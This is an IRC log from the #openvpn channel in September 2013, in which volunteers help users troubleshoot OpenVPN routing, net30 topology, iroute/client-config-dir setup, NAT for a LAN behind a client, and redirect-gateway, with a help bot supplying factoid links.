19:28 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
19:58 -!- raidz is now known as raidz_away
20:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
20:21 -!- EugeneKay is now known as Eugennerz
20:24 -!- OnLongClickableZ [~OnLongCli@c83-253-113-227.bredband.comhem.se] has joined #openvpn
20:34 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
20:42 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
20:54 -!- OnLongClickableZ [~OnLongCli@c83-253-113-227.bredband.comhem.se] has quit [Quit: Quit]
21:00 -!- OnLongClickableZ [~OnLongCli@c83-253-113-227.bredband.comhem.se] has joined #openvpn
21:09 -!- klein [~klein@177.101.119.158] has joined #openvpn
21:09 -!- klein [~klein@177.101.119.158] has quit [Changing host]
21:09 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
21:37 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Quit: help, help i'm drowning get me out of here, drift to the center drift to center, i'm drowning i need some help, center on this heart of fire of love let your heart be your whole life, radiate swell penatrate to the bumpy, burst, burst bleed out bleed out]
21:43 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
21:44 -!- toobluesc [~nitro@c-50-136-226-78.hsd1.ca.comcast.net] has joined #openvpn
21:44 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 276 seconds]
21:50 -!- toobluesc [~nitro@c-50-136-226-78.hsd1.ca.comcast.net] has quit [Quit: Ex-Chat]
21:57 -!- dradec [~d@unaffiliated/dradec] has quit [Quit: Disconnected from chain!]
22:12 -!- backjlack_ [~quassel@86.127.42.251] has joined #openvpn
22:13 -!- Drone4four_ [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
22:14 -!- gardar_ [~gardar@gardar.net] has joined #openvpn
22:14 -!- Perun_ [perun@chao5.net] has joined #openvpn
22:14 -!- Netsplit *.net <-> *.split quits: @mattock, niftylettuce, Drone4four, gardar, Perun, qwertyoruiop, mitz, backjlack, MorgyN, _nwonknu
22:14 -!- gardar_ is now known as gardar
22:15 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:15 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
22:17 -!- mattock [~mattock@raidz.im] has joined #openvpn
22:19 -!- _nwonknu [unknown@shell.nethack.be] has joined #openvpn
22:19 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
22:19 -!- mattock [~mattock@raidz.im] has quit [Changing host]
22:19 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
22:19 -!- mode/#openvpn [+o mattock] by ChanServ
22:25 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-aqqfzbhrbgcqythy] has quit [Ping timeout: 260 seconds]
22:43 -!- OnLongClickableZ [~OnLongCli@c83-253-113-227.bredband.comhem.se] has quit [Quit: HolyDoomCows]
22:46 -!- vertigo [bleach@2604:180::f476:be4f] has quit [Disconnected by services]
22:47 -!- vertigo [bleach@2604:180::f476:be4f] has joined #openvpn
23:06 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-frikbcswdtkerkrq] has joined #openvpn
23:16 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 264 seconds]
23:58 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
--- Day changed Wed Sep 18 2013
00:04 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has joined #openvpn
00:21 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
00:33 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:46 -!- mattock is now known as mattock_afk
00:50 -!- mattock_afk is now known as mattock
00:52 -!- sh00p [~sh00p@static-213-115-27-219.sme.bredbandsbolaget.se] has quit [Ping timeout: 264 seconds]
01:09 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has quit [Ping timeout: 256 seconds]
01:26 < mapito> hm
01:26 < mapito> someone awake|
01:32 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-acytecjtxojawnzw] has joined #openvpn
01:42 -!- master_o1_master [~master_of@p4FF24489.dip0.t-ipconnect.de] has joined #openvpn
01:43 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:46 -!- master_of_master [~master_of@p4FF24856.dip0.t-ipconnect.de] has quit [Ping timeout: 268 seconds]
01:51 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 248 seconds]
01:51 < mapito> can someone help me with client.ovpn
02:04 < mapito> okease
02:04 < mapito> please
02:13 -!- JAVACODER [~JAVACODER@5.238.70.41] has joined #openvpn
02:14 -!- Diffen [~diffen@80.252.167.14] has joined #openvpn
02:42 -!- Netsplit *.net <-> *.split quits: batrick
02:43 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
02:46 <@plaisthos> !ask
02:46 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
02:51 -!- backjlack_ [~quassel@86.127.42.251] has quit [Remote host closed the connection]
02:52 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
02:55 < mapito> hoorah got it working
02:56 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
02:59 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 260 seconds]
03:00 -!- Varazir [~mircwars@c-94-255-129-205.cust.bredband2.com] has quit [Ping timeout: 262 seconds]
03:00 -!- Varazir [~mircwars@c-94-255-129-205.cust.bredband2.com] has joined #openvpn
03:25 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 276 seconds]
03:27 -!- haasn` [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
03:34 -!- Diffen [~diffen@80.252.167.14] has quit [Quit: This computer has gone to sleep]
03:34 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
03:43 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
03:47 -!- haasn [~nand@2a01:4f8:d13:5245::2] has quit [Quit: nand]
03:52 -!- NET||abuse [~luke@86.6.148.64] has quit [Ping timeout: 240 seconds]
03:57 -!- mattock is now known as mattock_afk
03:59 -!- Perun_ is now known as Perun
04:07 -!- NET||abuse [~luke@86.6.148.64] has joined #openvpn
04:09 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 264 seconds]
04:19 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
04:21 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 264 seconds]
04:29 -!- JAVACODER [~JAVACODER@5.238.70.41] has quit [Ping timeout: 248 seconds]
04:30 -!- Diffen [~diffen@80.252.167.14] has joined #openvpn
04:36 -!- defswork [~andy@141.0.50.105] has joined #openvpn
04:44 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
04:45 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-acytecjtxojawnzw] has quit [Ping timeout: 256 seconds]
04:53 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Ping timeout: 264 seconds]
04:55 -!- UnterPerro [~UnterPerr@c-50-140-198-18.hsd1.fl.comcast.net] has joined #openvpn
04:57 -!- UnterPerro [~UnterPerr@c-50-140-198-18.hsd1.fl.comcast.net] has quit [Client Quit]
05:04 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
05:13 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
05:14 -!- narcos [~narcos@dsl4.leasingoptions.co.uk] has joined #openvpn
05:15 -!- Diffen [~diffen@80.252.167.14] has quit [Quit: This computer has gone to sleep]
05:15 < narcos> Hi all. Is the behaviour of a client to set the default route as its own IP minus one, if no default gateway is being set?
05:15 < narcos> Because that's what I'm seeing.
05:16 < defswork> narcos, the default route is only set/changed if the config says so or it's pushed
05:17 < defswork> a tunnel specific route will be added - buts its not a default route
05:17 < defswork> and the tunnel specific route will be the server's ip address of the tunnel - which may well be the previous IP address
05:21 < narcos> defswork: OK cool. You're right it's not a default gw, not sure why I saw that early, must've changed something. I still get a route for the client IP minus one though, which doesn't exist. Odd? - http://pastebin.com/raw.php?i=QSZ8mHPA (configs + route + ifconfig)
05:21 < defswork> it will exist on the server
05:22 < narcos> defswork: On the server the tun0 interface is 192.168.42.1
05:22 -!- JAVACODER [~JAVACODER@5.238.68.37] has joined #openvpn
05:22 < narcos> On the client logs I see it being set - "/sbin/route add -net 192.168.42.1 netmask 255.255.255.255 gw 192.168.42.9"
05:23 < narcos> and on the server logs - "SENT CONTROL [jumpbox03]: 'PUSH_REPLY,route 192.168.42.1,topology net30,ifconfig 192.168.42.10 192.168.42.9' (status=1)"
05:23 < defswork> narcos, thats how a p2p tunnel works
05:23 < narcos> Ohhh
05:23 < defswork> you have a 4 ip address subnet for each client
05:23 < defswork> 2 broadcasts, server ip and client ip
05:25 < narcos> So, the client IP is 192.168.42.10. .1 is the server. That makes .9 the broadcast?
05:25 < defswork> no
05:25 < narcos> Doh.
05:25 < defswork> 42.8 is base, 42.9 is server, 42.10 is client, 42.11 is top
05:25 < defswork> and each additional client will get the next /30 subnet
05:26 < narcos> Interesting
05:26 < defswork> openvpn knows it is 42.9
05:26  * narcos tries to connect another client
05:26 < defswork> doesnt need bind it to a nic
05:27 < narcos> Cool, next client's logs have "PUSH: Received control message: 'PUSH_REPLY,route 192.168.42.1,topology net30,ifconfig 192.168.42.6 192.168.42.5'"
05:28 < defswork> narcos, it doesnt have to be like that btw
05:28 < defswork> there are several topologies you can run with
05:28 < narcos> So net30 means the /30 subnet. 42.4 is base, 42.5 is server, 42.6 is client, and 42.7 is top ?
05:29 < defswork> yes
05:29 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
05:29 < narcos> Although I can't ping 42.5 from 42.6
05:29 < narcos> defswork: Ah, what are the other topologies?
05:29 < defswork> you can if you enable client-to-client
05:29 < defswork> read the fine manual!
05:29 < narcos> Sorry :-/
05:30 < narcos> I have, but I get a little lost
05:30  * narcos RTFMs some more
05:30 < defswork> me too - I make this up as a go along
05:30 < narcos> That's what I've been doing
05:30 < narcos> Until I get stuck
05:30 < narcos> Then back here and and back RTFM
05:32 < defswork> http://blog.defsdoor.org/2011/06/02/large-openvpn-server-deployment/  < thats my openvpn setup at work
05:32 <@vpnHelper> Title: Large Openvpn Server Deployment (at blog.defsdoor.org)
05:32 < defswork> I have simpler ones for home and other sites
05:35 -!- narcos [~narcos@dsl4.leasingoptions.co.uk] has quit [Ping timeout: 260 seconds]
05:50 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
05:51 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
05:53 -!- share [share@unaffiliated/share] has left #openvpn []
05:53 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:54 < taylorbyte2013> just wondering vpnbook.com offers anonymous browsing but they distribute the private key this doen't seem right wouldn't that be insecure ?
06:06 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
06:15 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
06:27 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Ping timeout: 260 seconds]
06:28 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn
06:47 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
06:50 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-dwmdwgrlqnlltzci] has joined #openvpn
07:00 -!- Milos [~Milos@60-234-198-177.bitstream.orcon.net.nz] has joined #openvpn
07:00 < Milos> Does OpenVPN have any special tricks for policy-based routing on Windows?
07:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
07:01 < Milos> e.g. I am routing a public IP to a client, and I can ping it etc but the replies go out the default gateway interface like all other packets (that don't fit in any other category) but in this case the default gateway rejects the IP as the source address is from a different network, so I need those IPs to go down the tunnel instead.
07:02 < Milos> I used the word IPs instead of packets twice in that sentence. The last two.
07:03 -!- Freeaqingme [~Freeaqing@91.214.168.110] has joined #openvpn
07:05 < Freeaqingme> Hi folks. I've got a question about the MTU. Physical link has an MTU of 1500 bytes. Openvpn uses an UDP connection, emprical MTU test clocks in at 1541, yet if I do 'ip a s', an MTU of 1500 bytes is shown on the tun interface
07:06 < Freeaqingme> Where can I see that 1541 mtu being used (other than my syslog)? And shouldnt the tunnel MTU by definition be lower than the MTU on the physical interface?
07:06 -!- narcos [~narcos@dsl4.leasingoptions.co.uk] has joined #openvpn
07:06 < narcos> Sorry for dropping off mid-conversation earlier - managed to break my internet.
07:32 -!- narcos [~narcos@dsl4.leasingoptions.co.uk] has quit [Ping timeout: 264 seconds]
07:33 -!- narcos [~narcos@dsl4.leasingoptions.co.uk] has joined #openvpn
07:34 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:45 < narcos> So, I'm trying to get access to Machine03 from Server:   Server <=tun= Machine02 ==eth0== Machine03. I've added port forwarding + masq on Machine02, and a route on Server. But it doesn't seem to work. Any ideas? Configs + output here - http://pastebin.com/raw.php?i=FwUFGkRA
07:47 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
07:54 < narcos> Hm, running wireshark on Server.tun0 I see the ICMP pings destined for 192.168.1.1 (Machine03), but on the other end of tun0 (Machine02.tun0) I don't see traffic.
07:56  * narcos does not understand
07:58 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
07:58 < defswork> narcos, does vpn client have route to subnet of machine03 ?
07:59 < defswork> does machine03 know to route via vpn gateway for vpn subnet ?
07:59 < defswork> have you told openvpn to allow it ?
07:59  * narcos thinks
08:00 < narcos> Machine02 and Machine03 are on the eth0 subnet, they can ping each other
08:00 < defswork> so machine03 knows to reach server go via machine02 ?
08:00 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 276 seconds]
08:00 < narcos> No, Machine 2 should handle that via NAT + masq?
08:01 < defswork> traffic has to get to it to be natted
08:01 < narcos> Machine03 is one of many machines on that subnet that I want to be able to access...?
08:01 < defswork> unless machine02 is the default gateway
08:01 < defswork> oh
08:01 < defswork> you are going from server to machine02
08:01 < defswork> 3*
08:01 < defswork> so server need route to machine03 subnet via machine02
08:01 < narcos> Yeah, so, for now I want to be able to access Machine03 (and others on that subnet) from Server
08:02 < narcos> Yes
08:02 < defswork> and machine02 SNATs it to machine03
08:02 < narcos> Which I thought I did with:
08:02 < narcos> root@server# route add -net 192.168.1.0/24 gw 192.168.42.3
08:02 < narcos> root@Machine02# echo 1 >/proc/sys/net/ipv4/ip_forward
08:02 < narcos> root@Machine02# iptables -t nat -A POSTROUTING -s 192.168.42.0/24 -o eth0 -j MASQUERADE
08:02 < defswork> (i'd avoid nat unless you have no choice personally)
08:02 < narcos> What's my other option...?
08:02 < defswork> routing
08:03 < narcos> ah
08:03 < narcos> Given that I don't want to modify anything on Machine03 and others on that network, will routing work in my scenario?
08:04 < defswork> add the route to the default gateway on the network
08:04 < narcos> Hmm, didn't I do that with  root@server# route add -net 192.168.1.0/24 gw 192.168.42.3 ? Or, do I need a route back now...?
08:06 < defswork> is machine02 the default gateway for machine03 etc.. ?
08:06 < defswork> if it's not you can add a route on your default gatewat for the vpn clients subnet
08:09 -!- narcos [~narcos@dsl4.leasingoptions.co.uk] has quit [Ping timeout: 245 seconds]
08:10 -!- narcos [~narcos@dsl4.leasingoptions.co.uk] has joined #openvpn
08:10 < narcos> Grr, conn dropped again
08:11 < narcos> Sorry, last I saw before getting disconnected was "add the route to the default gateway on the network", to which I replied "Hmm, didn't I do that with  root@server# route add -net 192.168.1.0/24 gw 192.168.42.3 ? Or, do I need a route back now...?"
08:12 < defswork> is machine02 the default gateway on the machine2,3,4 etc.. network ?
08:12 -!- JAVACODER [~JAVACODER@5.238.68.37] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
08:12 <@ecrist> pekster: we're doing bogon filtering.  We're new to BGP, though, so the number of bogons out there was somewhat surprising.
08:12 < narcos> defswork: No
08:12 <@ecrist> sorry, I know that conversation is quite old at this piont
08:13 < defswork> narcos, can you add a route on the default gateway for the vpn subnet via machine02 ?
08:13 < narcos> defswork: So, I don't have the option to make any changes to Machine03,04,05,0n
08:14 < defswork> indeed
08:14 < narcos> I can only run commands on Machine01, Server, and Machine02
08:15 < defswork> is the only direction you need from server to machine0n ?
08:15 < narcos> Yes
08:15 < defswork> nat should be ok then
08:15 < narcos> Machine03,..,0N won't be initiating connections back
08:15 < narcos> Ah ok
08:16 < narcos> Any idea what I'm doing wrong in my config then?? http://pastebin.com/raw.php?i=FwUFGkRA
08:17 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.]
08:17 < defswork> add route 192.168.42.0 255.255.255.0 to server openvpn conf
08:17 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
08:18 < defswork> nah hang on
08:19 < defswork> whats the subnet on machine02/03 eth0 ?
08:19 < defswork> route 192.168.1.0 255.255.255.0
08:19 < narcos> Yes ^
08:19 < narcos> tuns are 192.168.42.x, Machine02,03,04 are on 192.168.1.x
08:20 < defswork> you got to let openvpn know theres a subnet --- over there -->
08:20 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
08:20 -!- mode/#openvpn [+o vpnHelper] by ChanServ
08:20 < narcos> Hummm
08:20 < narcos> I'm not doing that manually with  root@server# route add -net 192.168.1.0/24 gw 192.168.42.3  ? Or I need to do it from the vpn conf?
08:21 <@ecrist> openvpn can do it for you, if you pass it properly in the config
08:21 < defswork> openvpn needs to know that that subnet is there and is allowed down the tunnel etc..
08:21 < narcos> Ahhhh
08:21 < defswork> else it will only allow client ip traffic only
08:21 < narcos> Gotcha!
08:22 < defswork> narcos, thats on server you need that
08:22 < narcos> So I need to put  'add route 192.168.1.0 255.255.255.0' on my server conf?
08:22 < defswork> no
08:22 < narcos> Dang
08:22 < defswork> just route 192.168.1.0 255.255.255.0
08:22 < narcos> ah, close :)
08:22  * narcos tries
08:23 < defswork> soerry
08:23 < defswork> I'm shit
08:23 < defswork> you also need iroute
08:23 < defswork> you got a ccd directory  etc..
08:23 < defswork> add iroute 192.168.1.0 255.255.255.0 to ccd/common_name of machine02
08:24 < defswork> ccd is determined by client-config-dir  directive in server.conf
08:24 < narcos> Ah OK, trying that now
08:24 < defswork> iroute is the learning/allowing thing
08:25 < defswork> so you need to add client-config-dir to openvpn.conf on server , create the dir you pointed it to, and create a file of the common name of machione02 with that iroute in
08:25 < narcos> Hm didn't seem to work.
08:27 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
08:27 < defswork> Note that the configuration files must be readable by the OpenVPN  process  after it has dropped it's root privileges.
08:27 < narcos> In my server conf I added:  "client-config-dir ccd", and in /etc/openvpn/ccd/machine02  'iroute 192.168.1.0 255.255.255.0'
08:27 < defswork> thats good - check perms ?
08:28 < narcos> World readable
08:28 < narcos> '-rw-r--r--
08:28 < narcos> That ccd should modify Machine02's routing table, right?
08:28 < defswork> no
08:29 < defswork> machine02 doesnt need it's routing changing
08:29 < narcos> Oh - the server's one ?
08:29 < defswork> tells the server that when that client connects traffic to that subnet can/should go down that tunnel
08:30 < narcos> Ahhhh
08:30 < defswork> the route command in server's conf pushes the route out to clients so they know that that subnet is via the openvpn server
08:30 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 245 seconds]
08:30 < narcos> OK cool
08:32 < defswork> theres 3 things - route ... in server's conf adds the route to the servers internal routing table, push route .... pushs the route to clients and iroute lets openvpn know what tunnel the subnet is on when the client connects
08:32 < narcos> OK, nice
08:33 < defswork> so if you want machine01 to know how to get to 192.168.1.0/24 when the vpn comes up just add push "route 192.168.1.0 255.255.255.0" to server's conf
08:34 < defswork> run server in verbose to see if it's picking up the ccd file and double check the common name
08:34 < narcos> OK trying that
08:37 < defswork> I just noticed in your log etc.. paste that pinging from server to machine03 doesnt work.  try it from machine01 to machine03 first
08:39 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 264 seconds]
08:40 < narcos> So on Machine02 (aka jumpbox03, confusingly) I see:  OPTIONS IMPORT: reading client specific options from: ccd/jumpbox03
08:41 < narcos> internal route 192.168.1.0/24 -> jumpbox03/93.89.81.97:17632
08:41 < narcos> Learn: 192.168.1.0/24 -> jumpbox03/a.b.c.d:17632
08:41 -!- raidz_away [~raidz@raidz.im] has joined #openvpn
08:41 -!- raidz_away is now known as raidz
08:41 -!- raidz [~raidz@raidz.im] has quit [Changing host]
08:41 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
08:41 -!- mode/#openvpn [+o raidz] by ChanServ
08:41 < narcos> ( from the server log, that is )
08:42 < narcos> defswork: On Machine01 (aka client01) I see similar messages to above
08:43 < narcos> but Machine01 can't ping 192.168.1.1 (Machine03) either
08:43 < narcos> shoe! No, it can
08:43 < narcos> Shoe? Thanks auto-correct.
08:43 < narcos> Phew...
08:44  * narcos tries to figure out how all this is hanging together
08:45 < rob0> A shoe on the wall? Shouldn't be there at all! (LeSieg, _Wacky Wednesday_ )
08:45  * narcos takes his shoes off the wall.
08:46 < narcos> I'm still not sure why I couldn't ping from Server to Machine03 ?
08:49 < narcos> Although, I guess I don't actually need to.
08:55 -!- eddq [~eddq@li309-191.members.linode.com] has joined #openvpn
08:56 -!- surfmasta [~surfmasta@80.92.88.10] has quit [Ping timeout: 260 seconds]
08:56 < eddq> Hi. I could do with some help using my vpn server correctly. Have I come to the right place to get help?
08:58 -!- surfmasta [~surfmasta@80.92.88.10] has joined #openvpn
09:01 < narcos> Meh, actually Machine01 can ping Machine03 without the VPN up. Think my VMs are messing with me.
09:03 < narcos> and the ping doesn't go out over tun
09:04 < narcos> gr
09:09 < defswork> narcos, when you ping from the server to machine03 the source address will be it's local lan ip
09:10 < narcos> Hm, ah
09:16 < mapito> good afternoon
09:19 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
09:23 < SlutaTramsa> !welcome
09:23 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
09:23 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:23 < narcos> defswork: OK I sorted out my VM issue. So I can't ping Machine03 from Server or Machine01
09:24 < narcos> Let me put together all my configs and all my logs
09:26 < SlutaTramsa> !howto
09:26 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
09:27 < eddq> Hi. I've connected to my vpn successfully but can't access the internet. running tunneblick on mountain lion
09:27 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
09:27 < eddq> default route doesn't look to be changing once connected
09:28 <@krzee> !redirect
09:28 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
09:28 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
09:29 < SlutaTramsa> !topology
09:29 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
09:30 -!- backjlack [~quassel@unaffiliated/backjlack] has left #openvpn []
09:30 < SlutaTramsa> !man
09:30 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
09:30 < SlutaTramsa> !iporder
09:30 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
09:31 < mapito> bloody hell
09:31 < SlutaTramsa> Hello, I want to display my local webserver to the internet with the ip adress from my VPN server. How do i go about doing that? I'm using the TUN interface (routing) Config: http://sprunge.us/MKHc
09:31 < mapito> ive done something and now my vpn wont work
09:33 -!- MadTBone [~MadTBone@160.39.238.196] has joined #openvpn
09:33 < mapito> ffs so stupid
09:33 < mapito> i had changed client key to .cert in config instead of .crt
09:35 < narcos> !def1
09:35 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
09:35 < narcos> Hmm
09:36 < narcos> So, I also need the ccd directives? That's not mentioned int !redirect ?
09:36 <@krzee> ccd is not needed for redirect
09:36 < rob0> Why would --redirect-gateway require ccd?
09:37 < narcos> I'm not sure - going on what defswork was helping me with
09:37 -!- Haseo [~Haseo@aufrinfo.net] has quit [Read error: Connection reset by peer]
09:37 < narcos> So to get Machine01 to talk to Machine 03 I need to !redirect ? (http://pastebin.com/raw.php?i=FwUFGkRA)
09:37 <@krzee> !redirect
09:37 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
09:37 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
09:37 <@krzee> see #4
09:37 < defswork> hes not redirecting gateway
09:37 -!- Haseo [~Haseo@aufrinfo.net] has joined #openvpn
09:38 <@krzee> then wtf he talking about lol
09:39 -!- ade_b [~Ade@p5DE8C2B7.dip0.t-ipconnect.de] has joined #openvpn
09:39 -!- ade_b [~Ade@p5DE8C2B7.dip0.t-ipconnect.de] has quit [Changing host]
09:39 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
09:40 < narcos> krzee: This --> http://pastebin.com/raw.php?i=FwUFGkRA
09:40 <+pekster> ecrist: No worries; good to hear your doing it, but I was musing that it's a shame all the folks leaking RFC1918 or other bogons don't
09:40 <@krzee> !route
09:40 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
09:40 <@vpnHelper> the server or client
09:40 <@krzee> !clientlan
09:40 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
09:40 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
09:40 <@krzee> !serverlan
09:40 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
09:40 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
09:40 < defswork> he also needs nat
09:40 <@krzee> everything you want is in !route
09:40 <@krzee> why would he need NAT?
09:41 <@krzee> he doesnt run the routers?
09:41 < defswork> cause he cannot amend the routing on the subnet machines
09:41 < narcos> krzee: So the problem was that I only have command access to Machine01, Server, and Machine02
09:41 < defswork> indeed
09:41 <+pekster> ecrist: You may have seen this before, but: http://packetlife.net/blog/2010/feb/5/ripe-plays-with-1-0-0-0-network-apnic-allocation/
09:41 <@vpnHelper> Title: RIPE plays with 1.1.1.1 and 1.2.3.4 following APNIC allocation - Packet Life (at packetlife.net)
09:41 <@krzee> !nathack
09:41 <@vpnHelper> "nathack" is see https://community.openvpn.net/openvpn/wiki/NatHack for info on how to solve the problem when you need !route_outside_ovpn but cant add a route to the gateway or the lan machines
09:42  * narcos reads about NatHacking
